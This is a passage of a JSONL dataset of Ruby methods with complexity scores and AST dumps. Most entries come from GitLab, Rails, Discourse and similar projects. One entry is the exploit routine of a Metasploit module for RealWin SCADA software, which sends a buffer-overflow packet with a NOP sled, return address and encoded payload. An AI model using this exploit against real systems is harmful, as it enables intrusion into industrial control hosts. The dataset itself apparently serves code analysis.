(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[301]},{\"type\":\"str\",\"children\":[\"Moved\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]},{\"type\":\"return\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PROPFIND => 207 Directory (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:multistatus xmlns:D=\\\"DAV:\\\" xmlns:b=\\\"urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<D:response xmlns:lp1=\\\"DAV:\\\" xmlns:lp2=\\\"http://apache.org/dav/props/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<D:href>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"</D:href>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:propstat>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:prop>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:resourcetype><D:collection/></lp1:resourcetype>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:creationdate>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gen_datestamp\"]}]},{\"type\":\"str\",\"children\":[\"</lp1:creationdate>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:getlastmodified>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gen_timestamp\"]}]},{\"type\":\"str\",\"children\":[\"</lp1:getlastmodified>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:getetag>\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%.16x\"]},\"%\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4294967296]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\"</lp1:getetag>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:supportedlock>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockscope><D:exclusive/></D:lockscope>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:locktype><D:write/></D:locktype>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockscope><D:shared/></D:lockscope>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:locktype><D:write/></D:locktype>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:supportedlock>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockdiscovery/>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:getcontenttype>httpd/unix-directory</D:getcontenttype>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:prop>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:status>HTTP/1.1 200 OK</D:status>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:propstat>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:response>\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Depth\"]}]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"trail\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trail\"]},\"shift\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trail\"]},\"length\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_shares\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_files\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"PROPFIND => 207 Top-Level Directory\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</D:multistatus>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\t\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[207]},{\"type\":\"str\",\"children\":[\"Multi-Status\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/xml; charset=\\\"utf8\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]}","id":"b6a4e2f4-d1a7-45d6-9773-8cb64496004b"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/readonly_test.rb","start_line":6,"raw_source":"def setup\n    super\n    @key = \"foo\"\n    @value = \"bar\"\n    @record = Item.new\n    @record.id = 1\n    @record.title = \"bob\"\n    @bob = Item.create!(title: \"bob\")\n    @joe = Item.create!(title: \"joe\")\n    @fred = Item.create!(title: \"fred\")\n    IdentityCache.cache.clear\n    IdentityCache.readonly = true\n  end","complexity_score":15.45,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@key\",{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"title=\",{\"type\":\"str\",\"children\":[\"bob\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"bob\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@joe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"joe\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fred\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"fred\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"readonly=\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"207aa844-2ca5-457d-b121-9d4814e19ed6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/obsolete_ignored_columns.rb","start_line":25,"raw_source":"def ignored_columns_safe_to_remove_for(klass)\n        ignores = ignored_and_not_present(klass).index_with do |col|\n          klass.ignored_columns_details[col.to_sym]\n        end\n\n        ignores.select { |_, i| i&.safe_to_remove? }\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ignored_columns_safe_to_remove_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ignores\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored_and_not_present\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},\"index_with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"ignored_columns_details\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"to_sym\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignores\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"safe_to_remove?\"]}]}]}]}","id":"d94e7747-f828-44d2-8f36-7186cb0a6223"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/base_formatter.rb","start_line":41,"raw_source":"def push_placeholder_reference(record, user_reference_column, source_user)\n        return unless project.import_data.user_mapping_enabled?\n\n        return if project.root_ancestor.user_namespace? &&\n          project.import_data.user_mapping_to_personal_namespace_owner_enabled?\n\n        user_id = record[user_reference_column]\n\n        return if user_id.nil? || source_user.nil?\n        return if source_user.accepted_status? && user_id == source_user.reassign_to_user_id\n\n        ::Import::PlaceholderReferences::PushService.from_record(\n          import_source: imported_from,\n          import_uid: project.import_state.id,\n          record: record,\n          source_user: source_user,\n          user_reference_column: user_reference_column\n        ).execute\n      end","complexity_score":34.5,"ast_json":"{\"type\":\"def\",\"children\":[\"push_placeholder_reference\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"user_reference_column\"]},{\"type\":\"arg\",\"children\":[\"source_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_data\"]},\"user_mapping_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"root_ancestor\"]},\"user_namespace?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_data\"]},\"user_mapping_to_personal_namespace_owner_enabled?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"user_reference_column\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"accepted_status?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"reassign_to_user_id\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Import\"]},\"PlaceholderReferences\"]},\"PushService\"]},\"from_record\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_source\"]},{\"type\":\"send\",\"children\":[null,\"imported_from\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_uid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_state\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user\"]},{\"type\":\"lvar\",\"children\":[\"source_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_reference_column\"]},{\"type\":\"lvar\",\"children\":[\"user_reference_column\"]}]}]}]},\"execute\"]}]}]}","id":"632f4b8d-354f-46ef-aa7f-1c08ab474115"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/mapper.rb","start_line":110,"raw_source":"def position_of(name)\n    @menu_items.each do |node|\n      if node.name == name\n        return node.position\n      end\n    end\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"position_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@menu_items\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"position\"]}]},null]}]}]}","id":"98bc9c2a-27ea-4a57-8222-a7e7daa208ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/sources/database.rb","start_line":86,"raw_source":"def sequences\n            sequence_map.values\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sequences\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sequence_map\"]},\"values\"]}]}","id":"30ae111e-3a01-4389-8106-0685ec61ee9d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":1484,"raw_source":"def pending_migrations\n      already_migrated = migrated\n      migrations.reject { |m| already_migrated.include?(m.version) }\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pending_migrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"already_migrated\",{\"type\":\"send\",\"children\":[null,\"migrated\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrations\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"already_migrated\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"version\"]}]}]}]}]}","id":"12662675-6382-48ca-b6fa-a3917dac06a2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/realwin.rb","start_line":55,"raw_source":"def exploit\n    connect\n\n    data = [0x67542310].pack('V')\n    data << [0x00000800].pack('V')\n    data << [0x000a77e3].pack('V')\n    data << [0x00040005].pack('V')\n    data << \"\\x00\\x00\"\n    data << make_nops(target['Offset'])\n    data << [target.ret].pack('V')\n    data << [0x00404040].pack('V')\n    data << payload.encoded\n    data << make_nops(1024)\n\n    print_status(\"Trying target #{target.name}...\")\n    sock.get_once\n    sock.put(data)\n\n    handler\n    disconnect\n  end","complexity_score":41.05,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1733567248]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2048]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[686051]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[262149]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[4210752]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[1024]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"9a48343a-f5fd-4ae4-987f-8b367ef76921"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/keys/expiry_notification_service.rb","start_line":28,"raw_source":"def allowed?\n      user.can?(:receive_notifications)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"receive_notifications\"]}]}]}","id":"d30ffc83-81a8-4834-b3ac-86c263c1e921"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/models/calendar_event.rb","start_line":25,"raw_source":"def is_holiday?\n    SiteSetting.holiday_calendar_topic_id.to_i == topic_id\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"is_holiday?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"holiday_calendar_topic_id\"]},\"to_i\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"topic_id\"]}]}]}","id":"2616db12-8649-4603-aad5-705a95738626"}
{"repo_name":"spree","file_path":"./repos/spree/core/db/migrate/20221229132350_create_spree_data_feed_settings.rb","start_line":2,"raw_source":"def change\n    create_table :spree_data_feed_settings do |t|\n      t.references :spree_store\n\n      t.string :name\n      t.string :provider\n      t.string :uuid, unique: true\n      t.boolean :enabled, default: true\n\n      t.timestamps\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"spree_data_feed_settings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"spree_store\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"faa2594a-563d-4e4a-8631-9c130736b4a5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-narrative-bot/lib/discourse_narrative_bot/track_selector.rb","start_line":93,"raw_source":"def is_topic_action?\n      @is_topic_action ||= TOPIC_ACTIONS.include?(@input)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"is_topic_action?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@is_topic_action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOPIC_ACTIONS\"]},\"include?\",{\"type\":\"ivar\",\"children\":[\"@input\"]}]}]}]}","id":"45cd2a71-7eaf-4cea-90e2-7756b3aabfd1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/import_export/export_service.rb","start_line":81,"raw_source":"def save_export_archive\n        @export_saver ||= Gitlab::ImportExport::Saver.save(exportable: project, shared: shared, user: current_user)\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"save_export_archive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@export_saver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Saver\"]},\"save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exportable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared\"]},{\"type\":\"send\",\"children\":[null,\"shared\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}","id":"21464dea-fc4f-43e2-9eef-d1bf5a438f8a"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/launcher/bundle_pruner.rb","start_line":10,"raw_source":"def initialize(original_argv, extra_runtime_dependencies, log_writer)\n        @original_argv = Array(original_argv)\n        @extra_runtime_dependencies = Array(extra_runtime_dependencies)\n        @log_writer = log_writer\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"original_argv\"]},{\"type\":\"arg\",\"children\":[\"extra_runtime_dependencies\"]},{\"type\":\"arg\",\"children\":[\"log_writer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@original_argv\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"original_argv\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@extra_runtime_dependencies\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"extra_runtime_dependencies\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@log_writer\",{\"type\":\"lvar\",\"children\":[\"log_writer\"]}]}]}]}","id":"ea60ceab-f45f-4ee7-95ee-fc342bb7106f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/merge_requests.rb","start_line":52,"raw_source":"def change_in_merge_request_draft_status_email(recipient_id, merge_request_id, updated_by_user_id, reason = nil)\n      setup_merge_request_mail(merge_request_id, recipient_id)\n\n      @updated_by_user = User.find(updated_by_user_id)\n\n      mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))\n    